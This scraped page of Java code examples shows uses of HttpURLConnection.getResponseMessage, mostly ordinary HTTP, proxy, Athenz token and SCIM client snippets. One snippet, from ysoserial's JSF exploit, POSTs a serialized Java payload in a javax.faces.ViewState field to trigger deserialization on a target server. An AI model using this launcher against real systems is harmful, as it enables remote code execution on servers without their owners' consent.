Example usage for java.net HttpURLConnection getResponseMessage

Introduction

In this page you can find the example usage for java.net HttpURLConnection getResponseMessage.

Prototype

public String getResponseMessage() throws IOException 

Source Link

Document

Gets the HTTP response message, if any, returned along with the response code from a server.

Usage

From source file:Main.java

public static void main(String args[]) throws Exception {
    URL url = new URL("http://www.google.com");
    HttpURLConnection httpCon = (HttpURLConnection) url.openConnection();

    System.out.println("Response Message is " + httpCon.getResponseMessage());

}

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From source file:MainClass.java

public static void main(String[] args) throws Exception {
    URL u = new URL("http://www.java2s.com");
    HttpURLConnection uc = (HttpURLConnection) u.openConnection();
    int code = uc.getResponseCode();
    String response = uc.getResponseMessage();
    System.out.println("HTTP/1.x " + code + " " + response);
    for (int j = 1;; j++) {
        String header = uc.getHeaderField(j);
        String key = uc.getHeaderFieldKey(j);
        if (header == null || key == null)
            break;
        System.out.println(uc.getHeaderFieldKey(j) + ": " + header);
    }//from w ww . j  a  va  2 s . c  om
    InputStream in = new BufferedInputStream(uc.getInputStream());

    Reader r = new InputStreamReader(in);
    int c;
    while ((c = r.read()) != -1) {
        System.out.print((char) c);
    }
}

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From source file:com.trendmicro.hdfs.webdav.tool.Get.java

public static void main(String[] args) throws Exception {
    // Process command line 

    Options options = new Options();
    options.addOption("d", "debug", false, "Enable debug logging");

    CommandLine cmd = null;/* www.j  av  a  2s.  c  o m*/
    try {
        cmd = new PosixParser().parse(options, args);
    } catch (ParseException e) {
        printUsageAndExit(options, -1);
    }
    boolean debug = cmd.hasOption('d');
    args = cmd.getArgs();
    if (args.length < 1) {
        printUsageAndExit(options, -1);
    }

    // Do the fetch

    AuthenticatedURL.Token token = new AuthenticatedURL.Token();
    AuthenticatedURL url = new AuthenticatedURL();
    HttpURLConnection conn = url.openConnection(new URL(args[0]), token);
    if (debug) {
        System.out.println("Token value: " + token);
        System.out.println("Status code: " + conn.getResponseCode() + " " + conn.getResponseMessage());
    }
    if (conn.getResponseCode() == HttpURLConnection.HTTP_OK) {
        BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream()));
        String line = reader.readLine();
        while (line != null) {
            System.out.println(line);
            line = reader.readLine();
        }
        reader.close();
    }
    System.out.println();
}

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From source file:Main.java

public static void main(String[] argv) throws Exception {
    Properties systemSettings = System.getProperties();
    systemSettings.put("proxySet", "true");
    systemSettings.put("http.proxyHost", "proxy.mycompany.local");
    systemSettings.put("http.proxyPort", "80");

    URL u = new URL("http://www.google.com");
    HttpURLConnection con = (HttpURLConnection) u.openConnection();
    BASE64Encoder encoder = new BASE64Encoder();
    String encodedUserPwd = encoder.encode("domain\\username:password".getBytes());
    con.setRequestProperty("Proxy-Authorization", "Basic " + encodedUserPwd);
    con.setRequestMethod("HEAD");
    System.out.println(con.getResponseCode() + " : " + con.getResponseMessage());
    System.out.println(con.getResponseCode() == HttpURLConnection.HTTP_OK);
}

---

From source file:Main.java

public static void main(String s[]) throws Exception {
    try {/*from   w ww  . j  a v  a  2 s . co  m*/
        Properties systemSettings = System.getProperties();
        systemSettings.put("proxySet", "true");
        systemSettings.put("http.proxyHost", "proxy.mycompany.local");
        systemSettings.put("http.proxyPort", "80");

        URL u = new URL("http://www.java.com");
        HttpURLConnection con = (HttpURLConnection) u.openConnection();
        sun.misc.BASE64Encoder encoder = new sun.misc.BASE64Encoder();
        String encodedUserPwd = encoder.encode("domain\\username:password".getBytes());
        con.setRequestProperty("Proxy-Authorization", "Basic " + encodedUserPwd);
        con.setRequestMethod("HEAD");
        System.out.println(con.getResponseCode() + " : " + con.getResponseMessage());
        System.out.println(con.getResponseCode() == HttpURLConnection.HTTP_OK);
    } catch (Exception e) {
        e.printStackTrace();
        System.out.println(false);
    }
}

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From source file:com.yahoo.athenz.example.ntoken.HttpExampleClient.java

public static void main(String[] args) throws MalformedURLException, IOException {

    // parse our command line to retrieve required input

    CommandLine cmd = parseCommandLine(args);

    String domainName = cmd.getOptionValue("domain");
    String serviceName = cmd.getOptionValue("service");
    String privateKeyPath = cmd.getOptionValue("pkey");
    String keyId = cmd.getOptionValue("keyid");
    String url = cmd.getOptionValue("url");

    // we need to generate our principal credentials (ntoken). In
    // addition to the domain and service names, we need the
    // the service's private key and the key identifier - the
    // service with the corresponding public key must already be
    // registered in ZMS

    PrivateKey privateKey = Crypto.loadPrivateKey(new File(privateKeyPath));
    ServiceIdentityProvider identityProvider = new SimpleServiceIdentityProvider(domainName, serviceName,
            privateKey, keyId);/*from   w w w  .ja  v  a  2 s. c  om*/
    Principal principal = identityProvider.getIdentity(domainName, serviceName);

    URL obj = new URL(url);
    HttpURLConnection con = (HttpURLConnection) obj.openConnection();

    // set our Athenz credentials. The authority in the principal provides
    // the header name that we must use for credentials while the principal
    // itself provides the credentials (ntoken).

    con.setRequestProperty(principal.getAuthority().getHeader(), principal.getCredentials());

    // now process our request

    int responseCode = con.getResponseCode();
    switch (responseCode) {
    case HttpURLConnection.HTTP_FORBIDDEN:
        System.out.println("Request was forbidden - not authorized: " + con.getResponseMessage());
        break;
    case HttpURLConnection.HTTP_OK:
        System.out.println("Successful response: ");
        try (BufferedReader in = new BufferedReader(new InputStreamReader(con.getInputStream()))) {
            String inputLine;
            while ((inputLine = in.readLine()) != null) {
                System.out.println(inputLine);
            }
        }
        break;
    default:
        System.out.println("Request failed - response status code: " + responseCode);
    }
}

---

From source file:com.yahoo.athenz.example.ztoken.HttpExampleClient.java

public static void main(String[] args) throws MalformedURLException, IOException {

    // parse our command line to retrieve required input

    CommandLine cmd = parseCommandLine(args);

    String domainName = cmd.getOptionValue("domain");
    String serviceName = cmd.getOptionValue("service");
    String privateKeyPath = cmd.getOptionValue("pkey");
    String keyId = cmd.getOptionValue("keyid");
    String url = cmd.getOptionValue("url");
    String ztsUrl = cmd.getOptionValue("ztsurl");
    String providerDomain = cmd.getOptionValue("provider-domain");
    String providerRole = cmd.getOptionValue("provider-role");

    // we need to generate our principal credentials (ntoken). In
    // addition to the domain and service names, we need the
    // the service's private key and the key identifier - the
    // service with the corresponding public key must already be
    // registered in ZMS

    PrivateKey privateKey = Crypto.loadPrivateKey(new File(privateKeyPath));
    ServiceIdentityProvider identityProvider = new SimpleServiceIdentityProvider(domainName, serviceName,
            privateKey, keyId);/*from  w w w.ja  v  a 2 s.c o m*/

    // now we need to retrieve a role token (ztoken) for accessing
    // the provider Athenz enabled service

    RoleToken roleToken = null;
    try (ZTSClient ztsClient = new ZTSClient(ztsUrl, domainName, serviceName, identityProvider)) {
        roleToken = ztsClient.getRoleToken(providerDomain, providerRole);
    }

    if (roleToken == null) {
        System.out.println(
                "Unable to retrieve role token for: " + providerRole + " in domain: " + providerDomain);
        System.exit(1);
    }

    URL obj = new URL(url);
    HttpURLConnection con = (HttpURLConnection) obj.openConnection();

    // set our Athenz credentials. The ZTSClient provides the header
    // name that we must use for authorization token while the role
    // token itself provides the token string (ztoken).

    System.out.println("Using RoleToken: " + roleToken.getToken());
    con.setRequestProperty(ZTSClient.getHeader(), roleToken.getToken());

    // now process our request

    int responseCode = con.getResponseCode();
    switch (responseCode) {
    case HttpURLConnection.HTTP_FORBIDDEN:
        System.out.println("Request was forbidden - not authorized: " + con.getResponseMessage());
        break;
    case HttpURLConnection.HTTP_OK:
        System.out.println("Successful response: ");
        try (BufferedReader in = new BufferedReader(new InputStreamReader(con.getInputStream()))) {
            String inputLine;
            while ((inputLine = in.readLine()) != null) {
                System.out.println(inputLine);
            }
        }
        break;
    default:
        System.out.println("Request failed - response status code: " + responseCode);
    }
}

---

From source file:jenkins.security.security218.ysoserial.exploit.JSF.java

public static void main(String[] args) {

    if (args.length < 3) {
        System.err.println(JSF.class.getName() + " <view_url> <payload_type> <payload_arg>");
        System.exit(-1);//from w ww  .j av  a2  s .co m
    }

    final Object payloadObject = Utils.makePayloadObject(args[1], args[2]);

    try {
        URL u = new URL(args[0]);

        URLConnection c = u.openConnection();
        if (!(c instanceof HttpURLConnection)) {
            throw new IllegalArgumentException("Not a HTTP url");
        }

        HttpURLConnection hc = (HttpURLConnection) c;
        hc.setDoOutput(true);
        hc.setRequestMethod("POST");
        hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
        OutputStream os = hc.getOutputStream();

        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(payloadObject);
        oos.close();
        byte[] data = bos.toByteArray();
        String requestBody = "javax.faces.ViewState="
                + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII");
        os.write(requestBody.getBytes("US-ASCII"));
        os.close();

        System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage());
    } catch (Exception e) {
        e.printStackTrace(System.err);
    }
    Utils.releasePayload(args[1], payloadObject);

}

---

From source file:org.wso2.charon3.samples.group.sample01.CreateGroupSample.java

public static void main(String[] args) {
    try {/*  www  .  ja v a  2 s  .  c  om*/
        String url = "http://localhost:8080/scim/v2/Groups";
        URL obj = new URL(url);
        HttpURLConnection con = (HttpURLConnection) obj.openConnection();

        // Setting basic post request
        con.setRequestMethod("POST");
        con.setRequestProperty("Content-Type", "application/scim+json");

        // Send post request
        con.setDoOutput(true);
        DataOutputStream wr = new DataOutputStream(con.getOutputStream());
        wr.writeBytes(createRequestBody);
        wr.flush();
        wr.close();

        int responseCode = con.getResponseCode();

        BufferedReader in;
        if (responseCode == HttpURLConnection.HTTP_CREATED) { // success
            in = new BufferedReader(new InputStreamReader(con.getInputStream()));
        } else {
            in = new BufferedReader(new InputStreamReader(con.getErrorStream()));
        }
        String inputLine;
        StringBuffer response = new StringBuffer();

        while ((inputLine = in.readLine()) != null) {
            response.append(inputLine);
        }
        in.close();

        //printing result from response
        System.out.println("Response Code : " + responseCode);
        System.out.println("Response Message : " + con.getResponseMessage());
        System.out.println("Response Content : " + response.toString());

    } catch (ProtocolException e) {
        e.printStackTrace();
    } catch (MalformedURLException e) {
        e.printStackTrace();
    } catch (IOException e) {
        e.printStackTrace();
    }
}

---

From source file:org.wso2.charon3.samples.user.sample01.CreateUserSample.java

public static void main(String[] args) {
    try {//from   w  w w  .  ja  va 2s.  c  om
        String url = "http://localhost:8080/scim/v2/Users";
        URL obj = new URL(url);
        HttpURLConnection con = (HttpURLConnection) obj.openConnection();

        // Setting basic post request
        con.setRequestMethod("POST");
        con.setRequestProperty("Content-Type", "application/scim+json");

        // Send post request
        con.setDoOutput(true);
        DataOutputStream wr = new DataOutputStream(con.getOutputStream());
        wr.writeBytes(createRequestBody);
        wr.flush();
        wr.close();

        int responseCode = con.getResponseCode();

        BufferedReader in;
        if (responseCode == HttpURLConnection.HTTP_CREATED) { // success
            in = new BufferedReader(new InputStreamReader(con.getInputStream()));
        } else {
            in = new BufferedReader(new InputStreamReader(con.getErrorStream()));
        }
        String inputLine;
        StringBuffer response = new StringBuffer();

        while ((inputLine = in.readLine()) != null) {
            response.append(inputLine);
        }
        in.close();

        //printing result from response
        System.out.println("Response Code : " + responseCode);
        System.out.println("Response Message : " + con.getResponseMessage());
        System.out.println("Response Content : " + response.toString());

    } catch (ProtocolException e) {
        e.printStackTrace();
    } catch (MalformedURLException e) {
        e.printStackTrace();
    } catch (IOException e) {
        e.printStackTrace();
    }
}

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